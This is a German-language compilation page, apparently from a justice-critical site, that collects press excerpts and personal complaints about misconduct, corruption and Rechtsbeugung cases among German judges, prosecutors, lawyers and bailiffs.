Das Berufsbild der Richter, so der ehemalige Präsident des Bundesarbeitsgerichts, Thomas Dieterich, „wird durch eindeutig gewerbliche Aktivität beschädigt“. Die meisten Vorträge dienten kaum mehr wissenschaftlichen Zwecken, „sie sind vielmehr Handreichungen an bestimmte Zirkel“. Wenn allerdings Rechtsprechung so stark als Politikersatz herhalten müsse wie heute, so Dieterich, sei es kein Wunder, „wenn die Richter in den Focus von Lobbyisten geraten“.

Richterliche Unabhängigkeit und Nebentätigkeit – ein antagonistischer Widerspruch 3.Teil
…Offenbar sind sich die Politiker und wenigstens Teile der Anwaltschaft dieses Problems bewusst geworden. Der bayerische Finanzminister Kurt Faltlhauser hat in der Bayerischen Staatszeitung von 28.01.05 festgestellt, dass besonders bei den obersten Gerichten nicht wenige Richter pro Woche nur einen Tag im Gericht erscheinen, in Extremfällen nur alle 14 Tage einmal. Er setzt sich dafür ein, dass das Privileg der deutschen Richter fällt, keine festen Arbeitszeiten einhalten zu müssen. Auf dem deutschen Juristentag in Stuttgart im September diesen Jahres forderte der renommierte Rechtsanwalt Felix Busse ebenfalls feste Dienstzeiten für Richter ( FR vom 23.09.06) (Anmerkung: Die Richter lehnen das ab, weil sie ihre richterliche Unabhängigkeit durch feste Dienstzeiten gefährdet sehen).

Raffkes mit Robe, Richter kassieren gern und kräftig nebenbei ab, Der Spiegel 48/1996
Flächendeckend“, schrieb der Frankfurter Unternehmer Willi Göbel dem Petitionsausschuß des Bundestages, würden vor allem hessische Richter mit Aufträgen für Rechtsgutachten und anderen Nebentätigkeiten „versorgt“. Banken, Industrie und große Anwaltskanzleien würden sie damit korrumpieren. Göbel schlug vor, per Gesetz die Richter zu verpflichten, alle Nebentätigkeiten in einem Handbuch zu veröffentlichen.
Die Petition, antwortete der Ausschußvorsitzende Gero Pfennig im Juli 1993, sei an die Bundesregierung weitergeleitet worden. Die solle dafür sorgen, daß richterliche Nebentätigkeiten „nur noch äußerst restriktiv genehmigt werden dürfen“ und auch „bei berechtigtem Interesse den Prozeßparteien offenbart werden“.
Den erwünschten gläsernen Richter gibt es bis heute nicht – dafür aber ein Musterexemplar eines Raffkes in Robe. Horst Henrichs, 60, Präsident des hessischen Staatsgerichtshofs und des Frankfurter Oberlandesgerichts, wurde in der vergangenen Woche dabei erwischt, daß er von der IG Metall 1,342 Millionen Mark Honorar für einen Gutachter-Job kassiert hatte.
…Das fehlende Schuldgefühl wurzelt in der Tradition der Juristen, Nebenerwerbsstellen zu haben. In vielen Unternehmen, vor allem aber in Banken, sind die Hüter der Rechtspflege auch noch als Treuhänder aktiv. Der Würzburger Wirtschaftsprofessor Ekkehard Wenger ist überzeugt: „In Frankfurt halten sich fast alle Hypothekenbanken Richter.“ Nach Ansicht des Wissenschaftlers ein „unglaublicher Skandal“.
…Aber auch das schützt vor Raffkes nicht. Im vergangenen Jahr klagte der Präsident des Kölner Oberlandesgerichts, Heinz-Dieter Laum, gegen den Justizminister des Landes, nachdem Laum einen Konflikt zwischen der Firma Thyssen und den Stadtwerken Duisburg (Streitwert: 130 Millionen Mark) geschlichtet hatte. Das Land verlangte vom Richter, rund 370 000 Mark des 770 000-Mark-Gesamthonorars an den Staat abzuführen.
…Der Unternehmer hatte schon 1992 empört darauf hingewiesen, daß Henrichs und Fritz Traub, damals Vorsitzender Richter des 6. Zivilsenats am Oberlandesgericht Frankfurt, nebenbei als Treuhänder der Frankfurter Hypothekenbank dienen. …Ober-Ober-Richter schröpft Arbeiter gleich doppelt

HALBGÖTTER IN WEISS, ESEL IN SCHWARZ, Gefälligkeitsgutachten, Allgemeiner-Patientenverband e.V.
Es gibt nur deshalb so viele „Halbgötter in Weiß“, weil es so viele „Esel in Schwarz“ gibt. Juristen tun gerne so, als hätten sie geradewegs das Schießpulver erfunden. Dabei tummeln sich in keinem Berufsstand so viele lebensfremde „Einfaltspinsel“ wie bei den Juristen. Das gilt insbesondere bei Verfahren um ärztliche Behandlungsfehler. Diese werden in der Regel durch medizinische Sachverständigen-Gutachten entschieden. Juristen übernehmen dabei nicht selten selbst die abwegigsten Gefälligkeits-Gutachten zur Entlastung ärztlicher Kollegen wie ein Ergebnis höherer Weisheit und machen sie zur Grundlage juristischer Entscheidungen. Das ist so einfach und bequem! Allerdings wird dadurch von den „Eseln in Schwarz“ schreiendes Unrecht mit dem Schein des Rechts versehen.
Der Gipfel der Borniertheit der „Schwarzkittel“ besteht aber darin, daß sich Juristen über Zustände beklagen, die sie selbst erst durch richterliche Willkür ohne Rechtsgrundlage geschaffen haben: die Wertung des ärztlichen Heileingriffs als Körperverletzung – vom früheren Reichgericht konzipiert und bis heute tradiert – treibt die Ärzte auf die Barrikaden. Deshalb sind sie nicht bereit, ärztliche Kollegen an diese Justiz auszuliefern und unterlaufen die Rechtsprechung durch Gefälligkeits-Gutachten. Zugleich wird jeder Arzt, der objektive Gutachten erstattet, zum Außenseiter und als „Nestbeschmutzer“ gnadenlos bekämpft. … Manche sind gleicher…
…besonders Minister. Minister M. in Sachsen hat so eine gesunde selbstherrliche Einstellung zur Gleichheit vor dem Gesetz. In seinem Ministerium existiert eine Dienstvereinbarung, nach der die Mitarbeiter die E-Mailadressen nicht für private Angelegenheiten benutzen dürfen. Herr M. als Minister benutzt seine Dienstmailadresse gerade für private Angelegenheiten. Denn die Vereinbarung gilt natürlich nicht für ihn. Weil, er ist nicht Mitarbeiter, er ist der Dienstherr. Nun, vor langer Zeit hatte mal der Sonnenkönig so einen Spruch gebracht, „Der Staat bin ich“. Nur, das war Monarchie. Haben wir jetzt nicht eigentlich Demokratie?
Und wenn Herr M. mit einem Ex-Mieter Ärger hat, dann ist es ihm auch möglich, schwere Geschütze in anderen Bundesländern auffahren zu lassen. So soll der Mieter beim Auszug einen Klodeckel (!) mitgenommen haben, der Herrn M. gehört. Natürlich wurde Strafanzeige gestellt. Und prompt wurde bei dem Ex-Mieter eine Hausdurchsuchung durchgeführt. Wegen einem Klodeckel? Das ist dann auch mit Kanonen auf Spatzen geschossen. Kein Wunder, wenn die Strafverfolgungsbehörden so überlastet sind.

Abwegige Entscheidungen, die es in der Justiz gar nicht gibt:
„Jedermann ist verpflichtet, gerichtliche Feststellungen zu ignorieren und ggf. bis in ihr Gegenteil umzudeuten, wenn er sie für abwegig hält. LG Bonn 14 O 41/08 vom 07.02.2008

Wenn Anwälte pfuschen, NDR/ARD 2002
„Wenn Sie sich auf einen Anwalt verlassen, sind Sie verlassen“ – so schildert es ein ehemaliger Mandant, der von seinem Anwalt vor Gericht an die Gegenseite verraten wurde.
Parteienverrat, Doppelmandat, Fristenversäumnis, Gebührenwucher, Desinteresse am Mandanten: Die Liste der alltäglichen Beschwerden über Rechtsanwälte, die schlampig oder betrügerisch arbeiten und sich nur für das Geld ihrer Mandanten interessieren, ist lang.
Dabei ist es nicht die Faulheit oder die schlechte Ausbildung der Juristen, die zur starken Unzufriedenheit bei den Mandanten führt. Angesichts der zunehmenden Zahl der niedergelassenen Rechtsanwälte – immerhin 40 Prozent leben am Existenzminimum – sehen sich diese gezwungen, mehr Fälle anzunehmen, als sie bewältigen können. Oder sie bearbeiten Fälle, für die sie nicht qualifiziert sind.
Für die Anwälte ist es ein Fall von vielen, für die Geschädigten hingegen geht es dabei oft um die Existenz. Macht der Anwalt Fehler, stehen die Mandanten vor dem Nichts.
Die Reportage begleitet Menschen, die von ihren Anwälten falsch beraten wurden und jetzt gegen die prozessieren, die sie eigentlich vertreten sollten. Schadensersatz-Klagen gegen Rechtsanwälte erstrecken sich vor Gericht oft über Jahre.
Der Film zeigt die Schwierigkeiten, einen Anwalt zu finden, der gegen einen Kollegen ins Feld zieht und die Untätigkeit der Rechtsanwaltskammern. Neben den betroffenen Mandanten und den Anwälten geben unabhängige Experten Auskunft über die gewohnheitsmäßige Kungelei unter Juristen.

Rolle des Tölpels, Betrügereien durch Wuppertaler Amtsgerichtsrat Dr. Erwin Corrinth, Dortmunder Landgerichtsdirektor Hugo Pähler, 55, und der Böblinger Oberamtsrichter Dr. Werner Fiedler, 63, Der Spiegel 06.01.1969
Sieben Jahre dauerte es, bis sich der Wuppertaler Landgerichtsdirektor Dr. Norbert Simgen, 42, „durch einen Kubikmeter Wechsel“ durchgearbeitet hatte. Oberstaatsanwalt Gerhard Heinzel, 56, lud in der gleichen Zeit 127mal zum Verhör. Das Ergebnis war eine Anklage wegen 38 Betrügereien.
Sie galt einem Kollegen: Wegen Betruges verurteilte die Zweite Große Strafkammer des Landgerichts Wuppertal im letzten Monat den Amtsgerichtsrat Dr. Erwin Corrinth, 66, zu einem Jahr und sechs Monaten Gefängnis.
Zum drittenmal binnen kurzer Zeit war mit Corrinth ein bundesdeutscher Richter zum Fall für die eigene Behörde geworden: Weil sie betrügenscher Finanzmanipulationen verdächtig sind, schieden unlängst der Dortmunder Landgerichtsdirektor Hugo Pähler, 55, und der Böblinger Oberamtsrichter Dr. Werner Fiedler, 63, aus dem Dienst.
Nach gewagten Geld- und Grundstücksgeschäften war Pähler, zuletzt Vorsitzender einer Großen Strafkammer, letzten Sommer mit 1,5 Millionen Mark Schulden in Konkurs gegangen. Fiedler hatte mit nicht erfüllten finanziellen Verpflichtungen von mehr als 250 000 Mark Pleite gemacht (SPIEGEL 47/1968).
Doch während ein Amtsarzt dem Dortmunder Landgerichtsdirektor Geschäftsunfähigkeit wegen „geistiger Störung“ attestierte und auch der seit einem Schlaganfall kranke Böblinger Oberamtsrichter („Ich kann mich an Einzelheiten nicht erinnern“) mit Zubilligung des strafmildernden oder die Bestrafung sogar ausschließenden Paragraphen 51 rechnen kann, hatte Jurist Corrinth vergeblich auf Hilfe eines Psychiaters gehofft.

Kein Anwalt will gegen einen Anwalt vorgehen, der gefälschte Unterlagen bei Gericht eingereicht hat, Staatsanwaltschaft will wie üblich nicht ermitteln, 2006
…Ich wollte bloß einen auf meinem Parkplatz stehenden Blumenkübel entfernen lassen. Ich dachte, dies sei harmlos. In dem Verfahren 45 II 69/03 habe ich mein Anliegen zum Ausdruck gebracht. Ich habe nicht verstanden, weshalb so große Widerstände gegen die Entfernung des Blumenkübels geleistet werden. Was ist denn daran bloß so schlimm, hatte ich mich gefragt.
…Ich finde keinen Rechtsanwalt, der mich vertreten will oder möchte. Alle reden sich raus. Rechtsanwaltskammer will mir nicht helfen. Die Staatsanwaltschaft in Hagen will die Fälschungen nicht sehen. Die Richterin hat sich geweigert die Fälschung anzuschauen.
Niemand in der Bundesrepublik ist bereit gegen einen Rechtsanwalt und eine Hausverwaltung vorzugehen, die gefälschte Unterlagen in einen Rechtsstreit eingereicht haben als Beweismaterial mit den Stempeln der Stadt Hemer.
Ich alleine, bin ich nicht in der Lage eine Klage einzureichen. Wie die Hausverwaltung die zwei Stempel auf dem Plan bekommen hat, will mir bei der Stadt Hemer niemand beantworten. …

Richter wegen versuchter Erpressung vor Gericht, Ehefrau als Staatsanwältin wegen Geheimnisverats angeklagt
Im Prozess wegen versuchter Erpressung und Betrugs hat der beschuldigte Richter des Oberlandesgerichts Oldenburg am Mittwoch ein Geständnis abgelegt.
„Was ich gemacht habe, war skandalös“, sagte der 56-Jährige zum Prozessauftakt am Landgericht Oldenburg.
Der hoch verschuldete Richter soll nach Auffassung der Staatsanwaltschaft zusammen mit einem Berater versucht haben, einen Unternehmer zu erpressen.
Gegen die Zahlung von 5000 Euro sei die Einstellung eines Strafverfahrens in Aussicht gestellt worden.
Aus den Akten seiner Ehefrau – einer Auricher Staatsanwältin – soll der Richter von dem Fall erfahren haben. Die 51-Jährige ist wegen Geheimnisverrats angeklagt.
Auch ein ehemaliger Fußball-Nationalspieler musste Federn lassen. Richter P. soll von ihm ein Darlehen über 100 000 Euro bekommen haben, obwohl P. wusste, dass er es nicht zurückzahlen würde.
RiOLG P. soll jährliche Zusatzeinkünfte zwischen 30 000 und 50 000 Euro erzielt haben, das Geld vom Nationalspieler aber nicht eingerechnet. Im reaktionären Deutschen Richterbund (DRB) präsentierte sich Pasker als Controlling-Fachmann. Die gleiche Rolle spielte er im niedersächsischen Justizministerium
Über den RiOLG P. äußerte sich der Sprecher des Justizministeriums Dennis Weilmann (CDU) so: “Das ist ein bedauerlicher Einzelfall und kein grundsätzliches Problem.”
Quatsch mit Soße. Der deutsche Justizapparat ist so konstruiert, dass sich Leute wie die Paskers darin ausleben können. In Wirklichkeit gibt es jede Menge von Richtern und Staatsanwälten, die weit höhere Strafen verdient hätten als RiOLG P. Normalerweise werden die Justiz-Kriminellen von ihresgleichen vor Strafverfolgung geschützt. Nur, wenn einer sich mit Leuten angelegt hat, die mächtiger sind als er, bleibt doch was an ihm hängen. Das scheint auch im vorliegenden Fall so zu sein. Erstens Urteil im Juristenprozess

Ermittlungsverfahren wegen Rechtsbeugung gegen alkoholkranke Ex-Landgerichtsrichterin, 12.04.2007
Düsseldorf (RP) Wegen ihrer Rechtsauffassung soll eine ehemalige Richterin des Landgerichts zur Verantwortung gezogen werden – obwohl sie längst im Ruhestand ist. Wie ein Sprecher der Staatsanwaltschaft gestern bestätigte, liegt gegen die nun 62-jährige Juristin eine Strafanzeige wegen Rechtsbeugung vor. Ein Abschluss der Ermittlungen ist nicht in Sicht.
Die Juristin war Ende 2006 mehrfach wegen Unregelmäßigkeiten aufgefallen. So war sie damals mitten in einer Verhandlung von der Justizverwaltung abgelöst worden, weil sie einen Prozess leitete, obwohl sie wegen Alkoholkrankheit bereits als dienstunfähig galt. Kurz zuvor war bekannt geworden, dass sie als Vorsitzende einer Strafkammer für Berufungsverfahren in mindestens 14 Fällen versäumt hatte, ihre Urteile schriftlich innerhalb der vorgeschriebenen Frist von fünf Wochen vorzulegen. Dieser massive Formfehler, führte dazu, dass in sämtlichen dieser Fälle die Verhandlungen wiederholt werden mussten – von anderen Richtern.
Dann hatte die Richterin in einem anderen Berufungsprozess wegen Fahrens ohne Fahrerlaubnis plötzlich einer Zeugin, die gegen ihren angeklagten Lebensgefährten aussagen sollte, ein Aussageverweigerungsrecht zugebilligt – obwohl dieses Recht nur engen Verwandten oder Eheleuten zusteht. Die Staatsanwältin protestierte damals gegen diese Rechtsauffassung. Laut Gesetz hätte die Zeugin aussagen müssen. Dass die Richterin der Zeugin aber die Aussage ersparte, sie damit einer Ehefrau gleichsetzte, rief dann auch einen Zeitungsleser auf den Plan. Auch Klaus Böhm, Vorsitzender des Anwaltvereins Düsseldorf, hatte das Vorgehen der Richterin als „verfassungswidrig“ bezeichnet.
Die Staatsanwaltschaft legte im damaligen Prozess sofort Rechtsmittel gegen die Gleichstellung einer Lebensgefährtin mit einer Ehefrau ein. Demnächst soll der gesamte Führerschein-Fall also von anderen Richtern erneut verhandelt werden, ein Termin dafür steht noch nicht fest. Sicher ist nur, dass die Richterin nach dieser Kette von Auffälligkeiten inzwischen ihre Robe ausgezogen hat und vorzeitig in den Ruhestand versetzt wurde.

Freiburger Richter rechtskräftig wegen Rechtsbeugung verurteilt, 13.08.2009
Das Landgericht Freiburg hatte den Angeklagten, der als Zivilrichter an diesem Landgericht tätig war, wegen Rechtsbeugung zu der Freiheitsstrafe von einem Jahr und drei Monaten verurteilt, deren Vollstreckung es zur Bewährung ausgesetzt hat.
Nach den Urteilsfeststellungen unterstützte der heute 57-jährige Angeklagte einen langjährigen Bekannten bei der – zunächst außergerichtlichen und schließlich gerichtlichen – zivilrechtlichen Geltendmachung einer Werklohnforderung, indem er diesen beriet und auch Schriftsätze fertigte, die in dem Zivilverfahren vor dem Amtsgericht Freiburg eingereicht wurden. Nachdem der am Amtsgericht für das Verfahren zuständige Richter darauf hingewiesen hatte, dass er die Klage für abweisungsreif halte, fertigte der Angeklagte unter dem 3. Oktober 2007 für seinen Bekannten einen Antrag, in dem dieser den Zivilrichter am Amtsgericht wegen Besorgnis der Befangenheit ablehnte. Nach Ablehnung dieses Befangenheitsantrags durch das Amtsgericht Freiburg verfasste der Angeklagte gegen diese Entscheidung unter dem 12. November 2007 eine sofortige Beschwerde, die sein Bekannter wiederum bei Gericht einreichte.
Nach Vorlage der Akten an das Landgericht Freiburg zur Entscheidung über diese sofortige Beschwerde wurde das Verfahren dem Angeklagten als Berichterstatter zugewiesen. Obwohl der Angeklagte sofort erkannte, dass er wegen der intensiven Vorbefassung mit der Angelegenheit diese Umstände, die seine Ablehnung wegen Besorgnis der Befangenheit rechtfertigten, hätte anzeigen müssen und dann von der weiteren Sachbearbeitung entbunden worden wäre, unterließ er die gebotene Selbstablehnung, entschied selbst in der Sache und gab der von ihm persönlich verfassten sofortigen Beschwerde mit Beschluss vom 15. Januar 2008 statt. Dabei war ihm bewusst, dass die Beschwerde ansonsten mit einer gewissen Wahrscheinlichkeit als unbegründet verworfen worden wäre. Dem Angeklagten kam es darauf an, seinem Bekannten im zivilrechtlichen Verfahren vor dem Amtsgericht durch eine „Auswechslung“ des Richters eine „zweite Chance“ zu geben.
Der 1. Strafsenat des Bundesgerichtshofs hat die Revision des Angeklagten, mit der er die Verletzung materiellen Rechts geltend macht, durch Beschluss als unbegründet verworfen. Das Urteil ist damit rechtskräftig.
Beschluss vom 5. August 2009 – 1 StR 366/09

Staatsanwalt muß für 3 Jahre und 3 Monate in das Gefängnis:
In der Kritik steht ein Prozess von Freitag am Landgericht München II. Uwe Huchel Staatsanwalt, muss wegen Korruption für drei Jahre und drei Monate ins Gefängnis. Die Anklage, die der 46Jährige in vollem Umfang eingeräumt hat, liest sich wie das Strafregister eines veritablen Ganoven: Betrug, Geldwäsche, Vorteilsnahme, Verletzung von Privatgeheimnissen, Verdacht der Strafvereitelung. Was die Münchner Staatsanwaltschaft und Fahnder des Landeskriminalamts auf 35 Seiten in der Anklageschrift auflisteten, würde manchen Ganoven schmücken.
Augsburg -­ Die Affäre um den Augsburger Laborarzt Schottdorf zieht Kreise. Während der Unternehmer trotz Korruptionsverdachts auf freiem Fuß ist, sitzt ein Ex-Vorzeigestaatsanwalt für Wirtschaftskriminalität in Untersuchungshaft. Die Staatsanwaltschaft München I hat konkrete Hinweise, dass er den millionenschweren Arzt vor Durchsuchungen seines Labors warnte. Am 17. März 2006 treffen sich auf einer Interpol-Tagung in Madrid Polizeiexperten aus Europa.

Staatsanwalt wegen Rechtsbeugung und Strafvereitelung veruteilt 06.11.2007
Nach den Urteilsfeststellungen unterließ es der Angeklagte in einem Ermittlungsverfahren der Staatsanwaltschaft Mannheim wegen des Verdachts des schweren sexuellen Missbrauchs von Kindern von November 2002 bis Februar 2005 weisungswidrig, Ermittlungen zu führen – namentlich das Opfer und den Beschuldigten vernehmen zu lassen – und Anklage zu erheben. Er versuchte, seine Untätigkeit zu verschleiern, indem er insbesondere eine Geschäftsstellenmitarbeiterin durch Täuschung veranlasste, das Verfahren aus dem staatsanwaltschaftlichen Ermittlungsregister auszutragen, und es in einem Rückstandsbericht an die vorgesetzte Behörde, die Generalstaatsanwaltschaft, verschwieg.

Mehere Gerichtsvollzieher wegen Bestechlichkeit vor Gericht, Hamburger Abendblatt 05.11.2008:
Der Fall ist spektakulär: Wegen Korruptionsvorwürfen, Untreue und Betruges müssen sich zwei Gerichtsvollzieher sowie vier Geschäftsleute aus Hamburg seit gestern vor dem Landgericht verantworten. Schaden: mehr als 160 000 Euro. Dem 55 Jahre alten Beamten Nils Peter H. und seinem Kollegen Andreas Sch. (46) wird unter anderem Bestechlichkeit vorgeworfen.
Laut Anklage gab Gerichtsvollzieher Nils Peter H. zahlreiche Aufträge für Zwangsräumungen und andere Dienstleistungen zwischen 2000 und 2005 an ein Zudem soll er mehrere Tausend Euro von Schuldnern eingefordert und nicht an die Gläubiger weitergegeben haben.Familien-Speditionsunternehmen, obwohl es ihm möglich gewesen sei, die lukrativen Aufträge auch an andere Firmen zu verteilen. Auch Gerichtsvollzieher Andreas Sch. vom Amtsgericht in St. Georg besorgte der Anklage zufolge dem Speditionsunternehmen exklusive Aufträge für die Zwangsräumung und Einlagerung.

Bohlen & Doyen-Pleite, Staatsanwaltschaft ermittelt gegen Mitarbeiter des Amtsgerichts Aurich, 15.04.2010
Aurich. Die Insolvenz des ostfriesischen Bauunternehmens Bohlen & Doyen Bau und Service GmbH aus dem Jahr 2007 zieht weitere Kreise. Nach Recherchen des NDR-Magazins „Menschen und Schlagzeilen“ hat die Staatsanwaltschaft ihre Ermittlungen gegen einen Mitarbeiter des Amtsgerichts Aurich erweitert.
Mittlerweile ermittelt die Zentralstelle für Korruptionsstraftaten in Osnabrück gegen den Rechtspfleger wegen Korruptionsverdachts. Die Staatsanwaltschaft in Aurich hatte bereits Anfang März Untersuchungen wegen des Verdachts der Rechtsbeugung gegen den Beamten eingeleitet.
Generalstaatsanwaltschaft beauftragt Finanzermittler
Der Rechtspfleger am Amtsgericht Aurich hatte dem vorläufigen Insolvenzverwalter im Fall „Bohlen & Doyen“, Uwe Kuhmann, eine Vergütung von 14,5 Millionen Euro genehmigt. Nach Recherchen des NDR hätte das Gericht diese außergewöhnlich hohe Summe offenbar gar nicht bewilligen dürfen. In einem Gutachten kommt der Remagener Insolvenzrechtler Prof. Hans Haarmeyer zu dem Ergebnis, dass der Vergütungsantrag von Kuhmann „rechtswidrig, irreführend und in sich widersprüchlich“ sei.
Das Amtsgericht Aurich hatte die Vergütung offenbar ohne tiefergehende Kontrollen genehmigt. „Bei einer so außergewöhnlichen Entscheidung kann man Korruption oder Vorteilsnahme nicht ausschließen“, sagte ein Sprecher der Generalstaatsanwaltschaft Oldenburg. Deshalb habe man die Ermittlungen an die Korruptionsspezialisten in Osnabrück übergeben. Zudem soll so vermieden werden, dass der Eindruck von Befangenheit entsteht, wenn die Staatsanwaltschaft Aurich gegen das Amtsgericht Aurich vorgeht. Sollte sich der Korruptionsverdacht erhärten, werden die Ermittlungen vermutlich gegen weitere Personen ausgeweitet.
Bremer Insolvenzverwalter in der Kritik
Nach der Insolvenz des Wiesmoorer Unternehmens Bohlen & Doyen Bau und Service GmbH im Jahr 2007 war der eingesetzte Bremer Insolvenzverwalter Uwe Kuhmann in die Kritik geraten. Für seine knapp dreimonatige Tätigkeit hatte er rund 14,5 Millionen Euro als Vergütung veranschlagt. Den sechs Mitgliedern des Gläubigerausschusses, darunter der ehemalige Betriebsrat des Unternehmens, wurden jeweils mehr als 400.000 Euro gezahlt. Insolvenzrechts-Experten bezweifeln, dass diese Summen gerechtfertigt sind. Laut Prof. Haarmeyer handelt es sich dabei um die höchsten Beträge, die jemals an einen Gläubigerausschuss gezahlt worden sind.

Amtsrichter aus Neumünster in dubiose Immobiliengeschäfte verwickelt
„Ein vor knapp vier Jahren verhafteter ehemaliger Amtsrichter aus Neumünster, dem dubiose Immobiliengeschäfte zur Last gelegt werden, ist wieder auf freiem Fuß… In dem seit 220 Verhandlungstagen andauernden Prozess muss sich der ehemalige Jugendrichter wegen Betrugs, Bestechlichkeit, Urkundenfälschung, Rechtsbeugung und unerlaubten Waffenbesitzes verantworten… Weitere Beschuldigte sind zu mehrjährigen Haftstrafen verurteilt worden.“
Lübecker Nachrichten vom 20.12.2002

Ermittlungsmethoden des Staatsanwalts Peter Klages, Hannover – Justizminister Busemann schweigt immer noch
Im Zusammenhang mit dem Verfahren 32 O 9/05 beim Landgericht Hannover habe ich gegen Rechtsanwalt F. und seinen Mandanten G. Anzeige erstattet wegen Prozessbetrug, Betrug, falscher Vorwurf der arglistigen Täuschung und Verleumdung.
Meine schriftliche Bitte um persönliches Gehör zur Aufklärung der Sachverhalte wurde von Staatsanwalt Peter Klages verweigert. Die nochmalige Bitte meines Rechtsanwalt Hartung (Willig, Koch & Kollegen) lehnte Staatsanwalt Klages mit der Begründung abgelehnt, „er setze sich nicht mit einem Verrückten an einen Tisch“.
Das Repertoire von Staatsanwalt Klages ist eher nicht eines demokratischen Rechtsstaates würdig:
„Dem muss man jemanden zum eigenen Schutz an die Seite stellen.“
„Herr Hartung, Sie tun mir leid wegen dieses Mandanten. Die Beschuldigte und ihr Mandant haben sich höchstwahrscheinlich gegenseitig über den Tisch gezogen.“
Bisher hat sich weder die Staatsanwaltschaft Hannover noch die Generalstaatsanwaltschaft in Celle dazu geäußert, warum ich mit Beschimpfungen, Beleidigungen und gar der falschen Unterstellung einer Straftat durch die Staatsanwaltschaft Hannover überzogen werde. Im Rahmen einer Beschwerde bei der Generalstaatsanwaltschaft in Celle mit Datum 23.07.2007 gegen die Einstellung der Verfahren gegen die Staatsanwälte Schneidewind, Klages, Meyer, etc. wegen Rechtsbeugung und Strafvereitelung hatte ich auch das strafrechtlich relevante Verhalten (Verleumdung, falscher Vorwurf einer Straftat) von Staatsanwalt Peter Klages angezeigt. Seine Äußerungen wurden nicht bestritten und sind nicht zu bestreiten. Der Leitende Oberstaatsanwaltschaft Arnold bei der Generalstaatsanwaltschaft Celle teilte mir unter dem Aktenzeichen 2 Zs 1300/07 vom 08.08.2007 zusammenfassend auf meine Beschwerde hin mit:
„Der angefochtene Bescheid entspricht der Sach- und Rechtslage.“

Richter ließ Senioren ans Bett fesseln, Haftstrafe wegen Rechtsbeugung, spiegel-online 14.11.2008:
Er verordnete Bewohnern eines Pflegeheims unrechtmäßig Bauchgurte und Bettgitter: Dafür wurde ein Richter aus dem baden-württembergischen Nürtingen jetzt zu dreieinhalb Jahren Gefängnis verurteilt.
Der Vormundschaftsrichter hatte in 47 Fällen Pflegeheimbewohnern Bauchgurte und Bettgitter verordnet, ohne sie vorher persönlich anzuhören. Über dreieinhalb Jahre hatte er diese Anhörungen jedoch mit gefälschten Protokollen vorgetäuscht.
Zu den Motiven des 45-Jährigen sagte Richterin Müller, der Angeklagte habe sich die Arbeit erleichtern und mehr freie Zeit für sich und seine Familie herausholen wollen. Er habe aus Bequemlichkeit und zur Vermeidung weiter Fahrtwege gehandelt und sich „in hohem Maße über das Gesetz hinweg gesetzt“, so Müller. Durch sein Verhalten sei das Leben der Senioren in „konkrete Gefahr“ geraten.
Anklage gegen Richter wegen Rechtsbeugung, Dutzendfache Rechtsbeugung, Vorwurf: Unterbringung von Senioren ohne Anhörung
Ein Amtsrichter versteht die Welt nicht mehr:
„Den Betroffenen ist keinerlei Schaden entstanden“, sagt der Richter. „Nicht sie sind das Opfer, sondern ich bin das Opfer einer Intrige aus Neid und Missgunst.“
Seit der Hausdurchsuchung und der zweiwöchigen Untersuchungshaft ist er zur Untätigkeit verurteilt. „Das ist alles andere als angenehm“, sagt er, wobei ihn der Umstand, dass er als suspendierter Richter bis heute seine vollen Bezüge bekommt, nur bedingt über die missliche Lage hinwegtröstet.
Die lokale Gerichtsbarkeit ist kein Zuckerschlecken, aber Irmler gefällt der Job, auch wenn die Aktenberge bei ihm stetig gewachsen sind. Er hat zwei Lehraufträge, doziert an Fachhochschulen, lernt Kollegen ein, hält Vorträge in Pflegeheimen. Das macht er nebenbei.
Das Landgericht Stuttgart sprach ein wegweisendes Urteil zur Rechtsbeugung:
Mehreren Zeitungsberichten zufolge pflegte der Richter aber auch zeitaufwändige Hobbies wie ein Reitpferd und fand darüber hinaus noch Zeit, Vorträge und Vorlesungen zum Betreuungsrecht zu halten.
Ähnlicher Auffassung zeigte sich auch einer der 27 im Prozess gehörten Zeugen – ein Amtsrichter, der das Verfahren gegen seinen Kollegen als „eine einzige Farce“ herabwürdigte. Und zwar deshalb, weil Richter Anträgen auf „freiheitsbeschränkende Maßnahmen“ zu 99 Prozent entsprechen würden. Eine, wie nicht nur Prozessbeobachter befanden, bemerkenswert kreisförmige Logik. Auf die Tatsache, dass beispielsweise der Freiburger Juraprofessor Thomas Kliesolche Maßnahmen „viel zu häufig“ verhängt sieht, ging der Zeuge in seiner Aussage nicht ein.

Hells Angels Prozess, Richter stellt Strafanzeige wegen Rechtsbeugung: Hannoversche Allgemeine 20.12.2008
Das überraschend schnelle Ende des Prozesses gegen 14 Mitglieder der Rockerbande „Hells Angels“ am Dienstag hat möglicherweise juristische Konsequenzen. Ein Amtsrichter aus Rinteln stellte beim Generalstaatsanwalt in Celle gegen die Berufsrichter und den Staatsanwalt Strafanzeige. Er sehe in der milden Strafe einen „rechtswidrigen, ja kriminellen Deal“, sagte Amtsrichter Christian Rost der HAZ. Rost beschuldigt die Beteiligten wegen des Verdachts der Strafvereitelung im Amt und Rechtsbeugung.
Das Gericht habe „die Angeklagten unter Beugung des Rechts der gerechten Strafe entzogen“, rügt der Richter, der seit 28 Jahren am Rintelner Amtsgericht tätig ist. Das milde Urteil wirke sich auf die Glaubwürdigkeit der Justiz aus: „Wie soll ich das jungen Straftätern erklären, die sich weniger haben zuschulden kommen lassen und dafür einsitzen sollen?“ Rost glaubt, dass die Anklagebehörde genug gegen die Männer in der Hand gehabt habe, „sonst hätten sich die Verteidiger nicht auf den Deal eingelassen“.
Der 57-jährige Christian Rost ist als Kritiker des juristischen Kungelns bekannt. Das Mitglied der Grünen und ehemalige Mutlangen-Blockadeur hatte unter anderem gegen das Urteil für Peter Hartz gewettert, weil er ihm zu „billig davongekommen“ sei. Zwar stuft er den juristischen Erfolg seiner Anzeige als gering ein. „Mein eigentliches Anliegen ist aber, dass die gefährliche Dealpraxis in der Bevölkerung diskutiert wird“, sagt er. Das zuständige Landgericht in Verden wollte die Strafanzeige nicht kommentieren.

Hans-Joachim Selenz: Widerspruch gegen Rechtsbeugung 17.09.2006
